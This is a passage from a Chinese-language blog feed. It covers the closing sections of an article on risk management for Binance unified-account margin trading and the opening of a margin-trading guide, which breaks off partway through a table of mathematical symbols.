id="Kraken闪崩事件（2021年2月）">Kraken闪崩事件（2021年2月）</h4><ul><li><strong>极端价格偏差</strong>：ETH在Kraken上跌至$700，而在其他交易所仍维持在$1,900附近</li><li><strong>清算损失</strong>：BTC下跌22%至$45,000以下，ETH下跌64%</li><li><strong>用户反应</strong>：大量用户要求退款，引发法律诉讼威胁</li></ul><h4 id="技术故障放大的风险">技术故障放大的风险</h4><p><strong>2024年交易所宕机统计：</strong></p><ul><li><strong>Coinbase重大故障</strong>：2024年2月，比特币飙升至$64,000时系统崩溃</li><li><strong>用户账户显示异常</strong>：许多用户账户余额显示为$0</li><li><strong>Robinhood同步故障</strong>：用户无法执行加密货币交易</li><li><strong>故障时间</strong>：系统恢复正常耗时3-4小时</li></ul><h3 id="9-3-基于历史教训的币安统一账户风险控制原则">9.3 基于历史教训的币安统一账户风险控制原则</h3><p><strong>关键风险控制原则：</strong></p><p><strong>1. 杠杆倍数安全界限：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">历史教训：过度杠杆(50:1-200:1)导致灾难性损失</span><br><span class="line">建议杠杆上限：个人投资者≤5:1，专业投资者≤10:1</span><br></pre></td></tr></table></figure><p><strong>2. 流动性风险管控：</strong></p><ul><li><strong>历史问题</strong>：资产端长期低流动性，负债端短期高流动性错配</li><li><strong>统一账户策略</strong>：确保高流动性资产占比≥40%</li><li><strong>应急资金</strong>：维持总保证金20%以上的现金储备</li></ul><p><strong>3. 相关性风险监控：</strong></p><ul><li><strong>历史教训</strong>：危机时所有资产相关性趋向1</li><li><strong>监控指标</strong>：当资产间相关性异常上升(&gt;0.8)时立即降低杠杆</li><li><strong>压力测试</strong>：模拟极端情况下的组合表现</li></ul><p><strong>4. 风险集中度控制：</strong></p><ul><li><strong>历史错误</strong>：集中押注导致全面损失</li><li><strong>统一账户应用</strong>：<ul><li>单一资产仓位不超过总资产的30%</li><li>单一策略风险敞口不超过总资本的25%</li><li>建立仓位分散化强制规则</li></ul></li></ul><h3 id="9-4-币安交易所系统性风险的新形态">9.4 币安交易所系统性风险的新形态</h3><h4 id="现代交易所面临的七大挑战">现代交易所面临的七大挑战</h4><p>基于最新的行业分析，现代交易所在高频交易和极端市场条件下面临以下关键挑战：</p><p><strong>1. 订单管理系统(OMS)在高频交易负载下的崩溃</strong></p><ul><li><strong>风险表现</strong>：单用户每秒可触发数千笔交易操作</li><li><strong>后果</strong>：错失交易、滑点损失、公平性违规</li><li><strong>用户影响</strong>：VIP高频交易客户流失，收入大幅下降</li></ul><p><strong>2. 支付系统延迟破坏用户体验</strong></p><ul><li><strong>问题根源</strong>：余额更新延迟导致用户困惑</li><li><strong>风险放大</strong>：杠杆用户可能出现过度交易或保证金错误</li><li><strong>系统要求</strong>：需要支持每秒数千次钱包操作的并发处理</li></ul><p><strong>3. 期货交易中的即时结算压力</strong></p><ul><li><strong>复杂性增加</strong>：杠杆、动态资金费率、即时结算</li><li><strong>风险暴露</strong>：结算延迟可能使交易所面临系统性风险</li><li><strong>技术要求</strong>：实时PnL计算，通常每秒多次更新</li></ul><p><strong>4. 市场波动期间的自动清算引擎压力</strong></p><ul><li><strong>极端情况</strong>：数百或数千账户同时触发保证金追缴</li><li><strong>时间敏感性</strong>：清算执行的任何延迟都可能造成重大损失</li><li><strong>技术挑战</strong>：需要支持并发清算和原子性钱包更新</li></ul><p><strong>5. 反欺诈系统响应速度不足</strong></p><ul><li><strong>欺诈速度</strong>：欺诈尝试通常在毫秒级发生</li><li><strong>检测要求</strong>：需要实时检测和持续监控</li><li><strong>风险后果</strong>：延迟检测可能导致重大财务损失</li></ul><h3 id="9-5-监管环境变化对币安统一账户的影响">9.5 监管环境变化对币安统一账户的影响</h3><h4 id="美国监管框架的最新发展（2024-2025）">美国监管框架的最新发展（2024-2025）</h4><p><strong>关键立法进展：</strong></p><p><strong>1. 责任金融创新法案(RFIA)</strong></p><ul><li><strong>监管明确性</strong>：为数字资产市场监管机构提供明确框架</li><li><strong>稳定币监管</strong>：建立强有力的稳定币监管框架</li><li><strong>对保证金交易的影响</strong>：可能限制某些资产的杠杆交易</li></ul><p><strong>2. 数字商品消费者保护法案(DCCPA)</strong></p><ul><li><strong>CFTC权威</strong>：给予CFTC对&quot;数字商品平台&quot;的专属管辖权</li><li><strong>交易监管</strong>：对数字商品交易实施更严格监管</li><li><strong>合规成本</strong>：交易所需要投入更多资源进行合规</li></ul><p><strong>3. 金融创新与21世纪技术法案</strong></p><ul><li><strong>监管整合</strong>：将数字资产监管整合到现有SEC和CFTC框架</li><li><strong>清晰界定</strong>：明确区分证券和商品类数字资产</li><li><strong>保证金要求</strong>：可能对杠杆交易实施更严格的保证金要求</li></ul><h4 id="具体风险影响分析">具体风险影响分析</h4><p><strong>对统一账户保证金交易的潜在影响：</strong></p><ol><li><p><strong>杠杆限制收紧</strong></p><ul><li>监管机构可能设置更低的杠杆上限</li><li>不同资产类别可能有不同的杠杆要求</li><li>零售投资者和机构投资者的区别对待</li></ul></li><li><p><strong>合规成本上升</strong></p><ul><li>更严格的KYC/AML要求</li><li>实时交易监控和报告义务</li><li>可能影响交易所的运营成本和用户体验</li></ul></li><li><p><strong>资产分类不确定性</strong></p><ul><li>某些代币的证券/商品属性仍不明确</li><li>可能导致部分资产无法用作保证金</li><li>影响资产组合的多样化策略</li></ul></li></ol><h3 id="9-6-基于最新案例的币安统一账户风险管理建议">9.6 基于最新案例的币安统一账户风险管理建议</h3><h4 id="更新后的风险管理框架">更新后的风险管理框架</h4><p><strong>第一层：资产配置优化</strong></p><p><strong>图9-3：2025年币安统一账户资产配置建议图</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;2025年资产配置建议&quot;        A[高流动性资产 ≥50%] --&gt; A1[BTC/ETH/主流稳定币]        B[中等流动性资产 ≤30%] --&gt; B1[头部DeFi代币]        C[低流动性资产 ≤20%] --&gt; C1[小市值代币/新项目]        D[单一资产上限 ≤25%] --&gt; D1[避免过度集中]        E[相关性监控] --&gt; E1[相关系数&gt;0.8时降杠杆]    end</code></pre><p><strong>第二层：杠杆控制升级</strong></p><ul><li><strong>保守型投资者</strong>：最大杠杆2:1</li><li><strong>平衡型投资者</strong>：最大杠杆3:1</li><li><strong>激进型投资者</strong>：最大杠杆5:1</li><li><strong>专业交易者</strong>：最大杠杆10:1（需要严格的风险管理措施）</li></ul><p><strong>第三层：实时监控与预警</strong></p><ul><li><strong>uniMMR预警线</strong>：300%(安全)、200%(注意)、150%(警告)、120%(危险)</li><li><strong>价格波动预警</strong>：单日波动超过20%时自动降低杠杆</li><li><strong>流动性监控</strong>：交易深度下降50%以上时暂停增仓</li></ul><p><strong>第四层：应急响应机制</strong></p><ul><li><strong>快速平仓通道</strong>：确保在5分钟内完成紧急平仓</li><li><strong>多平台备份</strong>：在至少3个不同交易所维持账户</li><li><strong>通信备份</strong>：准备多种通信方式以应对网络故障</li></ul><h4 id="技术风险防范升级">技术风险防范升级</h4><p><strong>系统层面防护：</strong></p><ol><li><strong>多重价格源验证</strong>：使用至少3个独立价格源</li><li><strong>网络冗余设计</strong>：准备主备用网络连接</li><li><strong>API限流管理</strong>：合理分配API调用频率</li><li><strong>自动化风险控制</strong>：设置自动止损和仓位管理</li></ol><p><strong>个人操作层面：</strong></p><ol><li><strong>设备冗余</strong>：准备主备用交易设备</li><li><strong>网络稳定性</strong>：使用企业级网络连接</li><li><strong>账户安全</strong>：启用所有可用的安全验证措施</li><li><strong>定期演练</strong>：每月进行一次应急响应演练</li></ol><h2 id="10-结语：从历史中学习，为币安统一账户交易做准备">10. 结语：从历史中学习，为币安统一账户交易做准备</h2><p><strong>章节核心观点：</strong> 本章作为全文的综合总结，通过对历史风险事件的深入反思和未来趋势的前瞻性分析，为币安统一账户用户提供了前瞻性的风险管理智慧。通过对风险演化规律的系统性梳理，本章提炼出了具有普遍意义的风险管理原则：风险形式的变化性与人性弱点的恒定性、技术进步的双刃剑效应以及监管与创新的动态平衡。最终结论强调，优秀的风险管理者不是那些能够预测未来的人，而是那些能够在不确定性中保持适应能力的人。</p><p><strong>章节核心观点：</strong> 风险管理的本质是一个持续学习和适应的过程，历史经验提供基础框架，但每一次新的危机都会带来超越既有认知边界的挑战。通过对历史风险事件的分析，我们提炼出风险演化的三个基本规律：(1) 风险的形式在变，但人性的贪婪和恐惧保持不变；(2) 技术进步创造新的风险管理工具，同时也催生新的风险类型；(3) 监管总是滞后于创新，但最终会找到平衡点。最核心的启示是：优秀的风险管理者不是那些能够预测未来的人，而是那些能够在不确定性中保持适应能力的人。</p><p>通过对重大风险事件的系统性梳理和深度分析，我们能够从历史的发展中提炼出具有普遍意义的风险管理智慧：</p><h3 id="10-1-币安统一账户风险的不变性与进化性">10.1 币安统一账户风险的不变性与进化性</h3><p><strong>不变的风险本质：</strong></p><ul><li><strong>杠杆的双刃剑特性</strong>：放大收益的同时必然放大风险</li><li><strong>流动性的重要性</strong>：危机时刻，流动性比收益率更珍贵</li><li><strong>人性的贪婪与恐惧</strong>：技术在进步，但人性的弱点始终存在</li><li><strong>系统性风险的传染性</strong>：局部风险很容易演变为全面危机</li></ul><p><strong>进化的风险形态：</strong></p><ul><li><strong>技术依赖度提高</strong>：现代交易更依赖于技术系统的稳定性</li><li><strong>速度要求提升</strong>：毫秒级的延迟可能造成巨大损失</li><li><strong>监管环境复杂化</strong>：合规要求越来越严格和细致</li><li><strong>全球化影响加深</strong>：地缘政治风险对金融市场的影响加剧</li></ul><h3 id="10-2-币安统一账户保证金交易的未来展望">10.2 币安统一账户保证金交易的未来展望</h3><p><strong>机遇方面：</strong></p><ul><li><strong>资金效率提升</strong>：统一账户模式确实能提高资金使用效率</li><li><strong>产品创新加速</strong>：更多复杂金融产品将变得可及</li><li><strong>监管框架完善</strong>：逐步明确的监管环境有利于行业健康发展</li><li><strong>技术基础设施改善</strong>：交易系统的稳定性和速度持续提升</li></ul><p><strong>挑战方面：</strong></p><ul><li><strong>风险复杂度增加</strong>：多资产、多策略的风险管理更加复杂</li><li><strong>系统性风险放大</strong>：统一账户模式可能加剧风险传染</li><li><strong>监管合规成本上升</strong>：更严格的监管要求增加运营成本</li><li><strong>技术故障影响扩大</strong>：单点故障可能影响所有交易活动</li></ul><h3 id="10-3-最终建议：构建个人化的币安统一账户风险管理体系">10.3 最终建议：构建个人化的币安统一账户风险管理体系</h3><p><strong>原则一：永远保持敬畏之心</strong></p><ul><li>市场永远比我们想象的更复杂</li><li>黑天鹅事件虽然罕见，但破坏力巨大</li><li>没有任何模型能够完美预测未来</li></ul><p><strong>原则二：建立多层次防护体系</strong></p><ul><li>资产配置层面的分散化</li><li>杠杆使用的严格控制</li><li>实时监控的预警机制</li><li>应急响应的快速执行</li></ul><p><strong>原则三：持续学习与适应</strong></p><ul><li>定期回顾和更新风险管理策略</li><li>关注行业最新发展和监管变化</li><li>从他人的失败中汲取教训</li><li>保持技术技能的与时俱进</li></ul><p><strong>原则四：量力而行，理性投资</strong></p><ul><li>只投入你能承受损失的资金</li><li>杠杆使用要与个人风险承受能力匹配</li><li>不要被短期的高收益冲昏头脑</li><li>记住投资的最终目标是长期财富增长</li></ul><p>记住：<strong>在币安统一账户交易中，保护本金永远比追求收益更重要</strong>。币安统一账户保证金交易为我们提供了更多机会和更高的资金效率，但也带来了更大的风险管理责任。只有那些能够有效管理风险的交易者，才能在币安平台这个充满机遇与挑战的环境中长期生存并获得成功。</p><p><strong>愿每一位币安统一账户用户都能从历史的教训中学习，在未来的交易中行稳致远。</strong></p><hr><h2 id="参考资料-References">参考资料 (References)</h2><h3 id="第一部分：交易所参数调整风险"><strong>第一部分：交易所参数调整风险</strong></h3><ul><li><strong>Binance Announcements:</strong><ul><li>Binance. (2024, June 28). <em>Binance Will Update The Collateral Ratio of Multiple Assets Under…</em> <a href="https://www.binance.com/en/support/announcement/detail/4e842671311c4ae9814e4da9ef47fcef">https://www.binance.com/en/support/announcement/detail/4e842671311c4ae9814e4da9ef47fcef</a></li></ul></li><li><strong>Oracle &amp; Data Feed Incidents:</strong><ul><li>Crypto Briefing. (2020, November 26). <em>Compound User Liquidated for $49 Million, Price Oracle Blamed</em>. <a href="https://cryptobriefing.com/compound-user-liquidated-49-million-price-oracle-blamed/">https://cryptobriefing.com/compound-user-liquidated-49-million-price-oracle-blamed/</a></li><li>CFTC. (2023, January 9). <em>CFTC Charges Avraham Eisenberg with Manipulative and Deceptive Scheme</em>. <a href="https://www.cftc.gov/PressRoom/PressReleases/8647-23">https://www.cftc.gov/PressRoom/PressReleases/8647-23</a></li><li>CryptoSlate. (2023, May 30). <em>Chainlink oracle ‘malfunction’ sparks $500k in DeFi liquidations…</em> <a href="https://cryptoslate.com/chainlink-oracle-malfunction-sparks-500k-in-defi-liquidations-reignites-reliability-debate/">https://cryptoslate.com/chainlink-oracle-malfunction-sparks-500k-in-defi-liquidations-reignites-reliability-debate/</a></li><li>Reuters. (2024, July 19). <em>Wall St ends volatile session lower in aftermath of global tech outage</em>. <a href="https://www.reuters.com/markets/us/futures-fall-amid-tech-rout-traders-grapple-with-global-cyber-outage-2024-07-19/">https://www.reuters.com/markets/us/futures-fall-amid-tech-rout-traders-grapple-with-global-cyber-outage-2024-07-19/</a></li><li>Bloomberg. (2013, September 4). <em>Nasdaq Fixes Malfunction With Price Feed That Prompted Halt</em>. <a href="https://www.bloomberg.com/news/articles/2013-09-04/direct-edge-halts-some-nasdaq-stocks-citing-feed-issue-correct-">https://www.bloomberg.com/news/articles/2013-09-04/direct-edge-halts-some-nasdaq-stocks-citing-feed-issue-correct-</a></li></ul></li></ul><h3 id="第二部分：极端市场条件风险"><strong>第二部分：极端市场条件风险</strong></h3><ul><li><strong>Flash Crash Incidents:</strong><ul><li>Reuters加密货币闪崩分析 - 搜索&quot;crypto flash crash billion leveraged positions 2021&quot;获取相关报道</li><li>加密货币清算机制解析 - 建议查阅CoinGecko或CoinMarketCap的清算教育资料</li><li><a href="https://academy.binance.com/en/articles/what-is-margin-trading">Binance Academy: What Is Margin Trading?</a></li><li>Investopedia保证金定义 - 访问Investopedia.com搜索&quot;margin trading definition&quot;</li><li>期货保证金机制 - 建议查阅CME Group官网期货交易教育板块</li></ul></li></ul>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/finance/binance-unified-account-risk-analysis/</id>
    <link href="https://www.blog-blockchain.xyz/finance/binance-unified-account-risk-analysis/"/>
    <published>2025-07-27T05:55:20.000Z</published>
    <summary>本文深入分析了币安统一账户保证金交易的多层次风险机制，包括参数调整风险、极端市场条件风险、技术运营风险等，并提供了系统性的风险管理建议和最佳实践指南，适合币安统一账户用户和数字货币风险管理研究者参考。</summary>
    <title>币安统一账户保证金交易的风险分析与管理策略</title>
    <updated>2026-02-19T16:18:46.061Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="finance" scheme="https://www.blog-blockchain.xyz/categories/finance/"/>
    <category term="trading guide" scheme="https://www.blog-blockchain.xyz/categories/finance/trading-guide/"/>
    <category term="binance" scheme="https://www.blog-blockchain.xyz/tags/binance/"/>
    <category term="margin trading" scheme="https://www.blog-blockchain.xyz/tags/margin-trading/"/>
    <content>
      <![CDATA[<h1>币安统一账户与保证金交易完整指南</h1><h2 id="引言：解锁财富倍增的交易秘密">引言：解锁财富倍增的交易秘密</h2><p>想象一下，如果你有100美元，却能控制1000美元甚至10000美元的投资力量，这会是什么感觉？这不是幻想，而是<strong>保证金交易</strong>的真实威力。</p><p>在传统投资中，你只能用现有资金进行交易。但保证金交易就像为你的资金安装了&quot;放大镜&quot;——只需提供少量资金作为&quot;保证金&quot;，就能操控数倍资金进行交易，让每一次市场波动都成为你财富增长的机会。</p><p><strong>为什么精明的交易者都在使用保证金交易？</strong></p><p><strong>资金效率革命</strong>：100美元本金配合10倍杠杆，瞬间拥有1000美元的交易力量。这意味着原本需要1万美元才能获得的收益，现在只需1000美元就能实现。</p><p><strong>收益倍增效应</strong>：当比特币上涨5%时，普通交易者赚取5%收益，而使用10倍杠杆的交易者却能获得50%的惊人回报。</p><p><strong>双向盈利机会</strong>：无论市场上涨还是下跌，保证金交易都能让你找到盈利路径。熊市不再是噩梦，而是另一个赚钱机会。</p><p>但这里隐藏着一个关键真相：<strong>杠杆既是财富的加速器，也可能是风险的放大器</strong>。真正的交易高手懂得如何驾驭这股力量，而不是被它吞噬。</p><p>这就是币安统一账户的价值所在。它不仅是交易工具，更是一套完整的<strong>智能风险控制系统</strong>。通过精密的数学模型和先进的风险管理机制，让你在追求高收益的道路上始终保持理性和安全。</p><p>接下来，我们将揭开这套系统的神秘面纱，让你真正掌握安全使用杠杆赚钱的核心秘密。</p><h2 id="1-核心概念基础：掌握财富倍增的语言">1. 核心概念基础：掌握财富倍增的语言</h2><p>在深入实战操作之前，我们需要建立扎实的理论基础。以下概念和术语是你在保证金交易世界的&quot;通行证&quot;——只有真正理解它们，你才能在复杂的市场环境中游刃有余。</p><h3 id="1-1-核心符号定义">1.1 核心符号定义</h3><p><strong>表 1.1：核心数学符号定义表</strong></p><table><thead><tr><th>符号</th><th>描述</th><th>单位</th></tr></thead><tbody><tr><td><strong>权益相关符号</strong></td><td></td><td></td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></td><td>调整后权益（Adjusted Equity）</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></td><td>现货账户权益</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></td><td>合约账户权益</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></td><td>杠杆账户权益</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">ni</span><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></td><td>统一账户调整后权益</td><td>USD/USDT</td></tr><tr><td><strong>保证金相关符号</strong></td><td></td><td></td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span></td><td>初始保证金（Initial Margin）</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">MM</span></span></span></span></td><td>维持保证金（Maintenance Margin）</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></td><td>合约维持保证金</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></td><td>杠杆维持保证金</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">U</span><span class="mord mathnormal mtight" style="margin-right:0.10903em;">M</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>U本位合约维持保证金</td><td>USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">CM</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>币本位合约维持保证金</td><td>BTC/ETH等</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">MM</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>维持保证金率（Maintenance Margin Rate）</td><td>%</td></tr><tr><td><strong>价格相关符号</strong></td><td></td><td></td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>资产指数价格（Asset Index Price）</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>标记价格（Mark Price）</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td><td>最新成交价</td><td>USD/USDT</td></tr><tr><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span 